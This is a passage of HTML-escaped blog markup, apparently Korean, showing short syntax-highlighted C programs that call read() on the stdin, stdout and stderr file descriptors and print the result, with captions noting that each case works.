14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;stdin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;perror(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;read&amp;nbsp;erro&amp;nbsp;:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%s&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;buf);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;stdout&lt;/span&gt;일 때 read할 경우.. 잘 작동..&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unistd.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main()&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buf[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(buf,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(read(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;buf,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;stdout&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;perror(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;read&amp;nbsp;erro&amp;nbsp;:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%s&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;buf);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;stderr&lt;/span&gt;일 때 read할 경우.. 잘 작동..&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unistd.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main()&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buf[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(buf,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(read(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;buf,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;stderr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; 